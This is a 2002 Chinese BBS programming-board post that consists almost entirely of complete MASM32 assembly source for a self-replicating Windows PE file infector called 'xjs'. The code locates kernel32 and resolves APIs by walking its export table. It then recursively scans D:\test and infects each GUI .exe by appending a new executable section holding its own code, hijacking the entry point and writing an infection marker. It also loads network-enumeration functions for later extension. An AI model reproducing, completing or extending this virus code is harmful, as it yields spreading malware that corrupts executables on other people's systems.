Programming 版 (精华区)
发信人: pzc (不过如此), 信区: Programming
标 题: 一个可传播的程序
发信站: 哈工大紫丁香 (2002年03月11日21:42:56 星期一), 站内信件
;************************************************************
;编写环境: win2k,masm32v5
;完成日期: 2002/3/11/20:23
;适用环境: win9x/winnt/win2k/winxp
;程序功能: 感染D:\test下所有exe(GUI)文件,不发作
;版 本: v1.0
;大 小: 1736(byte)
;程序名称: xjs
;联系地址: AwakeinAlone@X263.net
;说 明: 本文纯属技术交流.如有转贴,请保持完整性
;************************************************************
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
.data
hi db "hi",0
ppmm db "ppmm,you need no reason to love me!",0
.code
main:
mov HostEntry,offset ret_addr
jmp vstart
ret_addr:
Invoke MessageBox,NULL,offset ppmm,offset hi,0
ret
CODE segment
vstart:
call start
start:
pop ebx
sub ebx,offset start ;ebx=病毒在4G空间的偏移量
push HostEntry[ebx] ;保存宿主程序入口,做返回宿主之用
call GetKernelBase ;取得Kernel32.dll的image base
or eax,eax
jz short vexit
call GetGPAFuncAddr ;取得GetProcAddress的地址
call GetAllFuncAddr ;取得其他函数地址
call VThread
vexit:
ret
;;;;;;;;;获得image of kernel32.dll的基址;;;;;;;;;;;
;mov edi,[esp+8]这条指令取得返回到BaseStartProcess
;的返回地址,主线程执行的第一条指令应该是BaseStartProcess
;的指令,在这个函数中调用main(程序入口),返回地址进栈,
;既程序执行完时,应该返回到BaseStartProcess函数。这个函数
;既然在kernel32中,它的指令地址就在kernel32中并且大于hmodule
;以此为基础,以64k(10000h)(分配粒度)为单位向上搜索具有pe特征
;的模块。
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
GetKernelBase:
mov edi, [esp+8] ;because we push HostEntry in the st
art
and edi, 0ffff0000h ;wipe the LOWORD !
.while TRUE
.if WORD ptr [edi] == IMAGE_DOS_SIGNATURE
mov esi, edi
add esi, [esi+03Ch]
.if DWORD ptr [esi] == IMAGE_NT_SIGNATURE
.break
.endif
.endif
sub edi, 010000h
.if edi < 070000000h ;应该是win9x,直接赋值
mov edi, 0bff70000h ;0bff7000h 是win9x的base
.break
.endif
.endw
xchg eax, edi
mov hKernel32[ebx],eax ;保存kernel32.dll的base add
r
ret
;;;;;;;;;;;;获得GetProcAddress的地址;;;;;;;;;;;;;;;
;利用输出表查找GetProcAddress地址
;输出表结构和功能,参看pe教程
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
GetGPAFuncAddr:
mov edx,eax ;edx->Kernel32_Base
assume edx :ptr IMAGE_DOS_HEADER
add edx,[edx].e_lfanew
assume edx:ptr IMAGE_NT_HEADERS
mov edx,[edx].OptionalHeader.DataDirectory.VirtualAddress ;first I use
add edx,... make a error
add edx,hKernel32[ebx]
assume edx:ptr IMAGE_EXPORT_DIRECTORY
mov ebp,[edx].AddressOfNames
add ebp,hKernel32[ebx] ;now ebp=Addr of RVAofName[]
mov eax,0 ;eax AddressOfNames Index
mov ecx,14 ;length of string GetProcAddress
.repeat
mov edi,[ebp]
add edi,hKernel32[ebx]
lea esi,[offset nGetProcAddress+ebx]
repz cmpsb
.if zero?
.break
.endif
mov ecx,14
add ebp,4 ;下一个RVA
inc eax
.until eax == [edx].NumberOfNames
mov ebp, [edx].AddressOfNameOrdinals
add ebp, hKernel32[ebx]
movzx ecx,word ptr [ebp+eax*2]
mov ebp, [edx].AddressOfFunctions ; get the address of the api
add ebp, hKernel32[ebx]
mov eax, [ebp+ecx*4]
add eax,hKernel32[ebx] ;now we get it
mov dwGetProcAddress[ebx],eax
ret
;**************************************************
;Get Other Funtions Addresses
;这些函数大多是程序需要的,有些是为了将来扩充。
;**************************************************
GetAllFuncAddr:
lea eax,[offset nLoadLibraryA+ebx]
push eax
push hKernel32[ebx]
call dwGetProcAddress[ebx]
mov dwLoadLibraryA[ebx],eax ;Get LoadLibraryA's Address
lea edi,[offset Kernel32_FuncName+ebx]
mov ecx,13 ;Kernel32's Func Num=13
mov ebp,0
Kernel32_begin:
push ecx
push edi
push hKernel32[ebx]
call dwGetProcAddress[ebx]
mov Kernel32_FuncAddr[ebp+ebx],eax
mov eax,0
repnz scasb ;寻找字符串结束标志0,使edi指向下个函数名
add ebp,4
pop ecx
loop Kernel32_begin
lea eax,[offset dllMpr+ebx]
push eax
call dwGetModuleHandle[ebx]
.if eax==NULL
lea eax,[offset dllMpr+ebx]
push eax
call dwLoadLibraryA[ebx]
.endif
mov edx,eax
lea edi,[offset Mpr_FuncName+ebx]
mov ecx,3 ;MPR's Func Num=3
mov ebp,0
Mpr_begin:
push ecx
push edi
push edx
call dwGetProcAddress[ebx]
mov Mpr_FuncAddr[ebp+ebx],eax
mov eax,0
repnz scasb
add ebp,4
pop ecx
loop Mpr_begin ;Now we get all funtion' addrs
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;the thread begin to browse "d:\test" dir
;when it finds a pe file,it call InfectFile
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
VThread:
lea eax,[offset CurDir+ebx]
push eax
call EnumDir
ret ;EnumDir repair the stack
;**********************************
;用递归方法遍历目录下所有exe文件
;找到后调用InfectFile
;栈上几个变量如下所示
;ebp-4=hSearch,ebp-264=DirofFile[],ebp-268=CurDirLen
;**********************************
EnumDir:
push ebp ;Let DirorFile's largest size=260
mov ebp,esp
sub esp,268
mov esi,[ebp+8]
xor ecx,ecx
.while byte ptr [esi+ecx]!=0
inc ecx
.endw
mov [ebp-268],ecx ;len of CurDir string
lea edi,[ebp-264]
rep movsb
lea esi,[offset sds+ebx] ;offset of "*.*"
movsw
movsw
lea eax,[offset wfd+ebx]
push eax
lea eax,[ebp-264]
push eax
call dwFindFirstFile[ebx]
.if eax<=0
jmp l_close
.endif
mov [ebp-4],eax ;hSearch=eax
l_next:
lea eax,[offset wfd+ebx]
push eax
push [ebp-4]
call dwFindNextFile[ebx]
.if eax==FALSE
jmp short l_close
.endif
.if byte ptr [wfd+44+ebx]=='.'
jmp short l_next
.endif
lea edi,[ebp-264]
add edi,[ebp-268]
lea esi,[wfd+44+ebx]
.while byte ptr [esi+ecx]!=0
inc ecx
.endw
rep movsb ;strcat(DirofFile,wfd.cFileName)
.if dword ptr [wfd+ebx]==FILE_ATTRIBUTE_DIRECTORY
mov byte ptr [edi],'\'
mov byte ptr [edi+1],0 ;let DirofFile have a end
lea eax,[ebp-264]
push eax
call EnumDir
.else
mov byte ptr [edi],0 ;it's a file,let's judge if it's a exe
?
call File_Test
.endif
jmp short l_next
l_close:
.if dword ptr [ebp-4]!=NULL
push [ebp-4]
call dwFindClose[ebx]
.endif
add esp,268
pop ebp
ret 4
;**********************************************
;edi->end of CurorFile string
;if this file is finished by 'exe'
;notice 'exe' isn't 'EXE'
;we call InfectFile
;***********************************************
File_Test:
sub edi,4
cmp dword ptr[edi],6578652Eh ; 6578652E= .exe
jnz short ft_end
lea eax,[ebp-264]
call InfectFile
ft_end:
ret
;********************************************
;下面代码用于感染文件
;原理请参见前面的文章“为pe文件插入代码”
;********************************************
InfectFile:
push ebp ;保存ebp
push NULL
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push NULL
push FILE_SHARE_READ+FILE_SHARE_WRITE
push GENERIC_READ+GENERIC_WRITE
lea eax,[ebp-264]
push eax
call dwCreateFile[ebx]
.IF eax<=0
jmp InfectFile_Exit
.ENDIF
mov hFile[ebx],eax
push 0
push 0
push 0
push PAGE_READWRITE
push NULL
push hFile[ebx]
call dwCreateFileMapping[ebx]
.IF eax<=0
jmp InfectFile_Exit
.ENDIF
mov hMapping[ebx], eax
push 0
push 0
push 0
push FILE_MAP_READ+FILE_MAP_WRITE
push hMapping[ebx]
call dwMapViewOfFile[ebx]
.IF eax<=0
jmp InfectFile_Exit
.ENDIF
mov pMapping[ebx],eax
mov ebp,eax
assume ebp :ptr IMAGE_DOS_HEADER
.IF [ebp].e_magic!=IMAGE_DOS_SIGNATURE
jmp InfectFile_Exit
.ENDIF
.IF [ebp].e_lfarlc!=040h
jmp InfectFile_Exit
.ENDIF
mov eax,[ebp].e_lfanew
add ebp,[ebp].e_lfanew ;此时ebp指向PE文件头
assume ebp:ptr IMAGE_NT_HEADERS
.IF [ebp].Signature!=IMAGE_NT_SIGNATURE ;是PE文件吗?
jmp InfectFile_Exit
.ENDIF
.IF word ptr [ebp].OptionalHeader.Subsystem!=2 ;GUI? CUI=3!
;是否已经感染
jmp InfectFile_Exit
.ENDIF
.IF word ptr [ebp+1ah]==0842h ;是否已经感染
jmp InfectFile_Exit
.ENDIF
mov eax,[ebp].OptionalHeader.AddressOfEntryPoint
add eax,[ebp].OptionalHeader.ImageBase
mov HostEntry[ebx],eax ;保存原入口
;***************************************************************
;判断是否有足够空间存储新节
;28h=sizeof IMAGE_SECTION_HEADER
;18h=sizeof IMAGE_FILE_HEADER+Signature
;edi将指向新节
;***************************************************************
movzx eax,[ebp].FileHeader.NumberOfSections
mov ecx,28h
mul ecx
lea esi,[ebp]
sub esi,pMapping[ebx]
add eax,esi
add eax,18h
movzx esi,[ebp].FileHeader.SizeOfOptionalHeader
add eax,esi
mov edi,eax
add edi,pMapping[ebx] ;I forgot this first
add eax,28h
.IF eax>[ebp].OptionalHeader.SizeOfHeaders
jmp InfectFile_Exit
.ENDIF
;*********************************************************************
;空间允许, ^0^,开始插入新节并填充各字段
;esi指向原文件最后一个节,利用它来填充新节某些字段
;*********************************************************************
inc [ebp].FileHeader.NumberOfSections ;节数目+1
mov esi,edi
sub esi,28h
assume edi:ptr IMAGE_SECTION_HEADER
assume esi:ptr IMAGE_SECTION_HEADER
mov dword ptr[edi],00736A78h ;[edi].Name1="xjs",0
push [ebp].OptionalHeader.SizeOfImage
pop [edi].VirtualAddress
mov eax,offset vend-offset vstart
mov [edi].Misc.VirtualSize,eax
mov ecx,[ebp].OptionalHeader.FileAlignment
div ecx
inc eax
mul ecx
mov [edi].SizeOfRawData,eax
mov eax,[esi].PointerToRawData
add eax,[esi].SizeOfRawData
mov [edi].PointerToRawData,eax
mov [edi].Characteristics,0E0000020h ;可读可写可执行
;***************************************************************************
**************
;更新SizeOfImage,AddressOfEntryPoint,使新节可以正确加载并首先执行
;***************************************************************************
**************
mov eax,[edi].Misc.VirtualSize
mov ecx,[ebp].OptionalHeader.SectionAlignment
div ecx
inc eax
mul ecx
add eax,[ebp].OptionalHeader.SizeOfImage
mov [ebp].OptionalHeader.SizeOfImage,eax
mov eax,[edi].VirtualAddress
mov [ebp].OptionalHeader.AddressOfEntryPoint,eax
mov word ptr [ebp+1ah],0842h ;写入感染标志
push FILE_BEGIN
push 0
push [edi].PointerToRawData
push hFile[ebx]
call dwSetFilePointer[ebx]
.IF eax<=0
jmp InfectFile_Exit
.ENDIF
;***************************************************************************
**********
;设置文件指针到结尾后,写入从vstart开始的代码,大小经过文件对齐
;***************************************************************************
***********
push 0
lea eax,[offset byte_write+ebx]
push eax
push [edi].SizeOfRawData
lea eax,[offset vstart+ebx]
push eax
push hFile[ebx]
call dwWriteFile[ebx]
InfectFile_Exit:
.if pMapping[ebx]!=NULL
push pMapping[ebx]
call dwUnmapViewOfFile[ebx]
.endif
.if hMapping[ebx]!=NULL
push hMapping[ebx]
call dwCloseHandle[ebx]
.endif
pop ebp ;恢复ebp
ret
;***********以下是数据************************
HostEntry dd 0
hKernel32 dd 0
nGetProcAddress db "GetProcAddress",0
nLoadLibraryA db "LoadLibraryA",0
dwGetProcAddress dd 0
dwLoadLibraryA dd 0
Kernel32_FuncName:
nCreateThread db "CreateThread",0
nGetModuleHandle db "GetModuleHandleA",0
nFindFirstFile db "FindFirstFileA",0
nFindNextFile db "FindNextFileA",0
nFindClose db "FindClose",0
nCreateFile db "CreateFileA",0
nCreateFileMapping db "CreateFileMappingA",0
nMapViewOfFile db "MapViewOfFile",0
nUnmapViewOfFile db "UnmapViewOfFile",0
nSetFilePointer db "SetFilePointer",0
nWriteFile db "WriteFile",0
nCloseHandle db "CloseHandle",0
nVitualAlloc db "VitualAlloc",0
dllMpr db "MPR.dll",0
Mpr_FuncName:
nWNetOpenEnum db "WNetOpenEnumA",0
nWNetEnumResource db "WNetEnumResourceA",0
nWNetCloseEnum db "WNetCloseEnum",0
Kernel32_FuncAddr:
dwCreateThread dd 0
dwGetModuleHandle dd 0
dwFindFirstFile dd 0
dwFindNextFile dd 0
dwFindClose dd 0
dwCreateFile dd 0
dwCreateFileMapping dd 0
dwMapViewOfFile dd 0
dwUnmapViewOfFile dd 0
dwSetFilePointer dd 0
dwWriteFile dd 0
dwCloseHandle dd 0
dwVitualAlloc dd 0
Mpr_FuncAddr:
dwWNetOpenEnum dd 0
dwWNetEnumResource dd 0
dwWNetCloseEnum dd 0
;遍历目录所用
wfd WIN32_FIND_DATA <>
CurDir db 'd:\test\',0
sds db '*.*',0
;*******感染文件数据*************
hFile dd 0
hMapping dd 0
pMapping dd 0
byte_write dd 0 ;WriteFile时使用,没有实际用途,为了程序正确
;*******************************
vend:
CODE ends
end main
--全文完
--
※ 来源:·哈工大紫丁香 bbs.hit.edu.cn·[FROM: 202.118.236.144]
Powered by KBS BBS 2.0 (http://dev.kcn.cn)
页面执行时间:205.984毫秒